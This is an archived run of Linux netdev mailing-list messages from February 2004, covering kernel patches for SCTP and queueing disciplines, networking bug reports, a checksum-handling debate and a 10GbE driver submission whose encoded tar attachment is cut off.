"Xiaoliang (David) Wei" , "netdev@oss.sgi.com" Subject: Re: gigabit ethernet References: <20040214140914.3341.qmail@web21107.mail.yahoo.com> In-Reply-To: <20040214140914.3341.qmail@web21107.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev satya srikanth wrote: > My CPU is unable to handle anything more than this. Is > it possible to handle 1000Mbps for any packet size or > atleast something better than this by using more > powerful machines. If anyone of you have experimented > with this, can you give an idea of what kind of a > machine do I need for this. Try a machine with a 64/66 PCI bus, or preferably, a PCI-X bus that can run 64/100 or better. I got line speed packet generation and reception on a dual 2.8Ghz Xeon machine with PCI-X (64/100) bus and a dual port Intel pro/1000 NIC. I tested with 1500 byte packets and transmitted and received 999Mbps of traffic between two ports (total of ~4Gbps across the PCI backplane). I wasn't routing or anything like that, but at least for packet generation it worked fine. Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From sri@us.ibm.com Sun Feb 15 21:56:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 21:56:24 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G5u3KO009419 for ; Sun, 15 Feb 2004 21:56:10 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1G5tntB738420; Mon, 16 Feb 2004 00:55:50 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1G5tm38070592; Mon, 16 Feb 2004 00:55:49 -0500 Date: Sun, 15 Feb 2004 21:55:48 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: [BK PATCH] 2.6 SCTP updates In-Reply-To: <20040213215227.270a8147.davem@redhat.com> Message-ID: References: <20040213215227.270a8147.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev On Fri, 13 Feb 2004, David S. Miller wrote: > On Fri, 13 Feb 2004 16:07:05 -0800 (PST) > Sridhar Samudrala wrote: > > > Please do a > > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > > to get the following fixes to SCTP on top of linux 2.6.2. > > I am pulling this, however I strongly disagree with this change: > > > # 04/02/12 sri@us.ibm.com 1.1552 > > # [SCTP] Use __get_free_pages() to allocate ssnmap. > > # > > # This is needed to avoid kmalloc()'s 128K limit when an association is > > # initialized with a large no. of streams(more than 65000 inbound + > > # outbound streams). > > This is madness because it means that every assosciation created eats > at least PAGE_SIZE bytes of memory, even if the ssnmap is tiny. > > Maybe you should just brance between two allocation schemes based upon > what sctp_ssnmap_size() returns. Yes, I didn't realize that this will waste lots of memory for associations with a few streams. Here is a patch that fixes it by reverting back to kmalloc() for allocs < 128K. I have pushed it to both 2.6 and 2.4 bk trees. You can pull them from http://linux-lksctp.bkbits.net/lksctp-2.5.work http://linux-lksctp.bkbits.net/lksctp-2.4.work # This patch includes the following deltas: # ChangeSet 1.1554 -> 1.1555 # net/sctp/ssnmap.c 1.3 -> 1.4 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/15 sri@us.ibm.com 1.1555 # [SCTP] Revert back to use kmalloc() for ssnmap allocs of sizes < 128K. # -------------------------------------------- # diff -Nru a/net/sctp/ssnmap.c b/net/sctp/ssnmap.c --- a/net/sctp/ssnmap.c Sun Feb 15 21:34:49 2004 +++ b/net/sctp/ssnmap.c Sun Feb 15 21:34:49 2004 @@ -40,6 +40,7 @@ #include #include +#define MAX_KMALLOC_SIZE 131072 /* Storage size needed for map includes 2 headers and then the * specific needs of in or out streams. @@ -56,11 +57,14 @@ struct sctp_ssnmap *sctp_ssnmap_new(__u16 in, __u16 out, int gfp) { struct sctp_ssnmap *retval; - int order; - - order = get_order(sctp_ssnmap_size(in,out)); - retval = (struct sctp_ssnmap *)__get_free_pages(gfp, order); + int size; + size = sctp_ssnmap_size(in, out); + if (size <= MAX_KMALLOC_SIZE) + retval = kmalloc(size, gfp); + else + retval = (struct sctp_ssnmap *) + __get_free_pages(gfp, get_order(size)); if (!retval) goto fail; @@ -73,7 +77,10 @@ return retval; fail_map: - free_pages((unsigned long)retval, order); + if (size <= MAX_KMALLOC_SIZE) + kfree(retval); + else + free_pages((unsigned long)retval, get_order(size)); fail: return NULL; } @@ -109,9 +116,13 @@ void sctp_ssnmap_free(struct sctp_ssnmap *map) { if (map && map->malloced) { - free_pages((unsigned long)map, - get_order(sctp_ssnmap_size(map->in.len, - map->out.len))); + int size; + + size = sctp_ssnmap_size(map->in.len, map->out.len); + if (size <= MAX_KMALLOC_SIZE) + kfree(map); + else + free_pages((unsigned long)map, get_order(size)); SCTP_DBG_OBJCNT_DEC(ssnmap); } } Thanks Sridhar From yoshfuji@linux-ipv6.org Sun Feb 15 22:12:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 22:13:14 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G6CxKO009873 for ; Sun, 15 Feb 2004 22:12:59 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 66BF133CA5; Mon, 16 Feb 2004 15:14:01 +0900 (JST) Resent-Date: Mon, 16 Feb 2004 15:14:01 +0900 (JST) Resent-Message-Id: <20040216.151401.52295654.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-Cc: jjciarla@raiz.uncu.edu.ar Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Date: Sun, 15 Feb 2004 22:22:42 +0100 From: Michael Schlenstedt To: Kernel Mailinglist Cc: jjciarla@raiz.uncu.edu.ar Subject: PROBLEM: /proc/sys/net/ipv4/ip_dynaddr does not work correctly Message-ID: <20040215212241.GA2752@schlenn.net> Mail-Followup-To: Michael Schlenstedt , Kernel Mailinglist , jjciarla@raiz.uncu.edu.ar Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: Linux (2.4.21-166-athlon) Organization: http://www.schlenn.net Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 3322 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello! [1.] One line summary of the problem: /proc/sys/net/ipv4/ip_dynaddr does not work correctly in debug-mode. [2.] Full description of the problem/report: I've recognized that the debug-mode ("2") with /proc/sys/net/ipv4/ip_dynaddr does not work correctly. In fact, if I do a "echo 2 > /proc/sys/net/ipv4/ip_dynaddr", nothing happens. There are no messages in the syslog, and there is no function of ip_dynaddr at all. If I use "echo 1 > /proc/sys/net/ipv4/ip_dynaddr", it works fine, of course without any debugging messages. So it seems that the "2"-mode (debug output) does not work correctly with newer kernels (tested with 2.4.21 and 2.4.24) [3.] Keywords (i.e., modules, networking, kernel): network, NAT, masquerading, dynamic ip [4.] Kernel version (from /proc/version): Linux version 2.4.24 (root@gandalf) (gcc version 2.95.4 20011002 (Debian prerelease)) #3 SMP Sun Feb 15 10:43:15 CET 2004 [7.] Environment [7.1.] Software (add the output of the ver_linux script here) Linux gandalf 2.4.24 #3 SMP Sun Feb 15 10:43:15 CET 2004 i686 unknown Gnu C 2.95.4 Gnu make 3.79.1 util-linux 2.11n mount 2.11n modutils 2.4.15 e2fsprogs 1.27 PPP 2.4.1 isdn4k-utils 3.1pre4 Linux C Library 2.3.1 Dynamic linker (ldd) 2.3.1 Procps 2.0.7 Net-tools 1.60 Console-tools 0.2.3 Sh-utils 2.0.11 Modules Loaded ppp_deflate zlib_deflate bsd_comp ppp_synctty nfsd parport_pc lp parport ipt_multiport ipt_LOG ipt_limit ipt_unclean iptable_mangle iptable_filter ipt_MASQUERADE ipt_REJECT iptable_nat ipt_state ip_conntrack_ftp ip_conntrack ip_tables ppp_generic slhc fcpci capi capifs kernelcapi capiutil printer uhci usbcore apm dmfe [7.3.] Module information (from /proc/modules): ppp_deflate 3008 0 (autoclean) zlib_deflate 18048 0 (autoclean) [ppp_deflate] bsd_comp 4032 0 (autoclean) ppp_synctty 5760 0 (autoclean) nfsd 45920 4 (autoclean) parport_pc 25320 1 (autoclean) lp 6528 0 (autoclean) parport 24704 1 (autoclean) [parport_pc lp] ipt_multiport 640 8 (autoclean) ipt_LOG 3360 8 (autoclean) ipt_limit 1056 9 (autoclean) ipt_unclean 6784 1 (autoclean) iptable_mangle 2208 0 (autoclean) (unused) iptable_filter 1760 1 (autoclean) ipt_MASQUERADE 1504 0 (unused) ipt_REJECT 3264 18 iptable_nat 16596 1 [ipt_MASQUERADE] ipt_state 608 20 ip_conntrack_ftp 3936 0 (unused) ip_conntrack 21428 3 [ipt_MASQUERADE iptable_nat ipt_state ip_conntrack_ftp] ip_tables 12032 12 [ipt_multiport ipt_LOG ipt_limit ipt_unclean iptable_mangle iptable_filter ipt_MASQUERADE ipt_REJECT iptable_nat ipt_state] ppp_generic 23308 1 (autoclean) [ppp_deflate bsd_comp ppp_synctty] slhc 4736 0 (autoclean) [ppp_generic] fcpci 531008 3 capi 19360 8 capifs 3584 1 [capi] kernelcapi 30880 4 [fcpci capi] capiutil 22464 0 [kernelcapi] printer 7776 0 uhci 25320 0 (unused) usbcore 60256 1 [printer uhci] apm 9692 0 (unused) dmfe 12348 1 Bye, Michael - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From mika.penttila@kolumbus.fi Sun Feb 15 23:13:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 23:13:31 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G7DGKO010882 for ; Sun, 15 Feb 2004 23:13:17 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004021608411749:7344 ; Mon, 16 Feb 2004 08:41:17 +0200 Message-ID: <403066A2.30705@kolumbus.fi> Date: Mon, 16 Feb 2004 08:43:46 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Morris CC: "David S. Miller" , Harald Welte , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 16.02.2004 08:41:17, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 16.02.2004 09:14:39, Serialize complete at 16.02.2004 09:14:39 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1G7DGKO010882 X-archive-position: 3323 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev James Morris wrote: >On Sun, 15 Feb 2004, Mika Penttilä wrote: > > > >>ah, sorry, I see your point now. Maybe this copy should be in >>skb_checksum_help() ? >> >> > >No, it's not needed by all callers, and is just a does-one-thing helper >function. > > >- James > It is needed for cloned skbs, so check for this should go in skb_checksum_help(). --Mika From yoshfuji@wide.ad.jp Mon Feb 16 02:59:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 02:59:57 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GAxpKO029675 for ; Mon, 16 Feb 2004 02:59:51 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 42D6233CA5; Mon, 16 Feb 2004 20:00:51 +0900 (JST) Resent-Date: Mon, 16 Feb 2004 20:00:50 +0900 (JST) Resent-Message-Id: <20040216.200050.09047476.yoshfuji@wide.ad.jp> Resent-To: netdev@oss.sgi.com Resent-Cc: Arnaud Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Message-ID: <40309F2F.9020901@wanadoo.nl> Date: Mon, 16 Feb 2004 18:45:03 +0800 From: Arnaud User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en, nl, nl-be MIME-Version: 1.0 To: linux-kernel@vger.kernel.org Subject: PROBLEM: iptunnel: ioctl: Operation not supported Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 3324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@wide.ad.jp Precedence: bulk X-list: netdev Hi All. Short: Trying to start a tunnel with iptunnel and module ipip I ran into the message "ioctl: Operation not supported" Full description: Every command on one of my hosts from iptunnel results in "Operation not supported". Command example: 'iptunnel show' I built ipip.o for both systems on a development host: AMD Athlon(TM) XP 2400+ RH 9, kernel 2.4.20-8, gcc 3.2.2 On the following system (A) I can set up the tunnel and a tcpdump on the second system (B) shows ecapsulated packages comming in: Pentium MMX RH 9, kernel 2.4.20-8, gcc 3.2.2 system B: Cx486DX2 RH7.2, kernel 2.4.19, gcc 2.96 The PROBLEM is on system B. When I start the iptunnel command, no matter what function, I always get a message "ioctl: Operation not supported". So I entered some printk statements into ipip.c to see what command this module is receiving from iptunnel and to see if the module could register the device 'tunl0'. The registration goes well but the printk statement I entered into the case statement that handels the ioctl commands is never called! For me it looks like the ioctl is adressing the wrong net driver. I also noticed a difference between the output of a 'strace iptunnel' on both systems: system A (goes well): socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4 ioctl(4, 0x8927, 0xbfffe7e0) = 0 close(4) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4 ioctl(4, 0x89f0, 0xbfffe7e0) = 0 close(4) = 0 system B (goes wrong): socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4 ioctl(4, 0x8927, 0xbffff790) = 0 close(4) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4 ioctl(4, 0x89f0, 0xbffff780) = -1 EOPNOTSUPP (Operation not supported) I see that the command is a private ioctl '89f0' which is equal to 'GETTUNNEL' and that's oke because I did a 'strace iptunnel show' to create this output. I also see a difference on the reference to the ifreq struct. On system A it stays the same for all commands done by iptunnel and on system B only the last command has a different reference. The struct is private by the routines so they are recreated every time, so I guess this difference could happen? I checked the bugfixes between 2.4.19 and 2.4.20 but I didn't find anything about ioctl adressing wrong drivers. I would like to debug this further more but I don't know where to go from this point. Any help is really appreciated. Maybe I am doing something wrong by compiling on the other system? Best Regards, Arnaud Some addional information on the two systems: system A (goes well): MODULES: ipip hostap_crypt_wep hostap_pci hostap ppp_synctty ppp_async ppp_generic slhc 8139too mii af_packet ipt_LOG ipt_state ipt_MASQUERADE iptable_nat ip_conntrack iptable_filter ip_tables ext3 jbd usb-uhci usbcore rtc system B (goes wrong): MODULES: ipip ipt_state 8139too mii ppp_synctty ppp_async ppp_generic slhc ne2k-pci 8390 3c509 isa-pnp af_packet ipt_LOG ipt_MASQUERADE iptable_nat ip_conntrack iptable_filter ip_tables ext3 jbd rtc - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From jmorris@redhat.com Mon Feb 16 05:45:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 05:45:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GDjkKO015363 for ; Mon, 16 Feb 2004 05:45:47 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1GDjeb09332; Mon, 16 Feb 2004 08:45:40 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1GDjdi09476; Mon, 16 Feb 2004 08:45:39 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1GDjd03012131; Mon, 16 Feb 2004 08:45:39 -0500 Date: Mon, 16 Feb 2004 08:45:47 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: =?ISO-8859-1?Q?Mika_Penttil=E4?= cc: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <403066A2.30705@kolumbus.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.redhat.com id i1GDjeb09332 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1GDjkKO015363 X-archive-position: 3325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Mon, 16 Feb 2004, Mika Penttilä wrote: > James Morris wrote: > > >No, it's not needed by all callers, and is just a does-one-thing helper > >function. > > > > > It is needed for cloned skbs, so check for this should go in > skb_checksum_help(). No, there is no need to bloat a simple helper function out with this (and then need to handle OOM internally etc.), and it is not appropriate for all callers. - James -- James Morris From mika.penttila@kolumbus.fi Mon Feb 16 06:14:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 06:14:54 -0800 (PST) Received: from fep20-app.kolumbus.fi (fep20-0.kolumbus.fi [193.229.0.47]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GEEnKO016496 for ; Mon, 16 Feb 2004 06:14:49 -0800 Received: from mta.imail.kolumbus.fi ([193.229.5.109]) by fep20-app.kolumbus.fi with ESMTP id <20040216141448.HGON15980.fep20-app.kolumbus.fi@mta.imail.kolumbus.fi>; Mon, 16 Feb 2004 16:14:48 +0200 X-Mailer: Openwave WebEngine, version 2.8.10 (webedge20-101-191-20030113) From: To: James Morris CC: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Date: Mon, 16 Feb 2004 16:14:47 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Message-Id: <20040216141448.HGON15980.fep20-app.kolumbus.fi@mta.imail.kolumbus.fi> X-archive-position: 3326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev > > On Mon, 16 Feb 2004, Mika Penttilä wrote: > > > James Morris wrote: > > > > >No, it's not needed by all callers, and is just a does-one-thing helper > > >function. > > > > > > > > It is needed for cloned skbs, so check for this should go in > > skb_checksum_help(). > > No, there is no need to bloat a simple helper function out with this > (and then need to handle OOM internally etc.), and it is not appropriate > for all callers. > > - James Copy is always required whenever skb_cloned() is true. skb_checksum_help() modifies the shared protocol checksum but leaves ip_summed to CHECKSUM_HW in other clones. --Mika From hadi@cyberus.ca Mon Feb 16 09:12:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 09:12:54 -0800 (PST) Received: from blacktip.cybersurf.com (blacktip.cybersurf.com [209.197.145.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GHCkKO012946 for ; Mon, 16 Feb 2004 09:12:47 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by blacktip.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1EDuu1T015660 for ; Sat, 14 Feb 2004 06:56:56 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1As0Ht-0006zc-Fw; Sat, 14 Feb 2004 08:56:53 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Patrick McHardy , qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <1076763997.1059.13.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> Content-Type: multipart/mixed; boundary="=-q/iay1AfC+GTYLm2u913" Organization: jamalopolis Message-Id: <1076766981.1059.16.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 14 Feb 2004 08:56:21 -0500 X-archive-position: 3327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev --=-q/iay1AfC+GTYLm2u913 Content-Type: text/plain Content-Transfer-Encoding: 7bit And the closest to a sane patch in 30 secs that compiles is attached to describe the idea. cheers, jamal On Sat, 2004-02-14 at 08:06, jamal wrote: > On second thought: > Dawid noticed that SFQ and RED appear immune to this problem > (i think any non classful qdisc would exhibit same behavior). > Maybe we should allow for this behavior for consistency. > The suggestion that Alexey made of setting limit of 1 to default > child fifo when tx_queue_len is 0 is the better appraoch instead of > touching these devices. > > cheers, > jamal > > jamal wrote: > > On Sat, 2004-02-14 at 00:36, David S. Miller wrote: > > > > > However, I do agree with you, and we should not promote this kind of crap. > > > I'm going to revert the changeset that set tx_queue_len to 1 in the tunnels. > > > > I concur. But you gotta admit if that was a bug, it was the fastest > > fixed bug of the week ;-> > > > > cheers, > > jamal > > > > > > > > > > > > > --=-q/iay1AfC+GTYLm2u913 Content-Disposition: attachment; filename=p2 Content-Type: text/plain; name=p2; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit --- 261-mod/net/sched/sch_generic.c 2004/02/14 13:10:43 1.1 +++ 261-mod/net/sched/sch_generic.c 2004/02/14 13:42:18 @@ -448,22 +448,17 @@ if (dev->qdisc_sleeping == &noop_qdisc) { struct Qdisc *qdisc; - if (dev->tx_queue_len) { - qdisc = qdisc_create_dflt(dev, &pfifo_fast_ops); - if (qdisc == NULL) { - printk(KERN_INFO "%s: activation failed\n", dev->name); - return; - } - - write_lock(&qdisc_tree_lock); - qdisc->next = dev->qdisc_list; - dev->qdisc_list = qdisc; - write_unlock(&qdisc_tree_lock); - - } else { - qdisc = &noqueue_qdisc; + if (!dev->tx_queue_len) + dev->tx_queue_len = 1; + qdisc = qdisc_create_dflt(dev, &pfifo_fast_ops); + if (qdisc == NULL) { + printk(KERN_INFO "%s: activation failed\n", dev->name); + return; } + write_lock(&qdisc_tree_lock); + qdisc->next = dev->qdisc_list; + dev->qdisc_list = qdisc; dev->qdisc_sleeping = qdisc; write_unlock(&qdisc_tree_lock); } @@ -489,6 +484,8 @@ spin_unlock_bh(&dev->queue_lock); dev_watchdog_down(dev); + if (dev->tx_queue_len == 1) + dev->tx_queue_len = 0; while (test_bit(__LINK_STATE_SCHED, &dev->state)) yield(); --=-q/iay1AfC+GTYLm2u913-- From leonid.grossman@s2io.com Mon Feb 16 13:20:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 13:21:07 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1GLKnKO020919 for ; Mon, 16 Feb 2004 13:20:50 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i1GLIgjF021454; Mon, 16 Feb 2004 16:18:42 -0500 (EST) Received: from lgt40 ([10.16.16.116]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i1GLI2KK021894; Mon, 16 Feb 2004 16:18:03 -0500 (EST) From: "Leonid Grossman" To: Cc: "'Andi Kleen'" , "'Jeff Garzik'" , "'Stephen Hemminger'" , "'Francois Romieu'" , "'jamal'" , "'Grant Grundler'" , "'Anton Blanchard'" , "'Jes Sorensen'" , , "'ravinandan arakali'" Subject: RE: Submission for S2io 10GbE driver Date: Mon, 16 Feb 2004 13:16:35 -0800 Message-ID: <000201c3f4d2$2a5ddd90$7410100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0003_01C3F48F.1C3A9D90" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal In-Reply-To: <20040205004952.GA27510@cup.hp.com> X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C3F48F.1C3A9D90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, Attached is the second submission for our 10GbE Adapter. Many thanks for the input; I believe we have addressed all the comments to date (I cc everybody who helped us with the comments, to make sure their concerns have been addressed). s2io_linux_drv_submission02.tar : Contains the new driver source files s2io_linux_drv_patches.tar : Contains the patch files that can be applied on the files we originally submitted. All the utilities/diagnostics/tuning scripts are removed from the submission. Also, couple questions - 1. At the moment, lspci output looks like "02:02.0 Ethernet controller: Unknown device 17d5:5831 (rev 02)"; do we need to submit a patch for drivers/pci/pci.ids? 2. The card fully supports Ethernet and TCP header separation in hardware (so called receive 3-buffer mode). The mode may have some performance advantages but so far we did not implement the mode in Linux since it seems that Linux stack can't handle the fragmented buffers in the receive path. Is this a correct assumption, does receive buffer has to be continuous? Thanks, Leonid ------=_NextPart_000_0003_01C3F48F.1C3A9D90 Content-Type: application/octet-stream; name="s2io_linux_drv_patches.tar" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="s2io_linux_drv_patches.tar" Makefile.patch=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=000100644=000000000=0000000= 00=0000000000606=0010013276054=00012313=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = 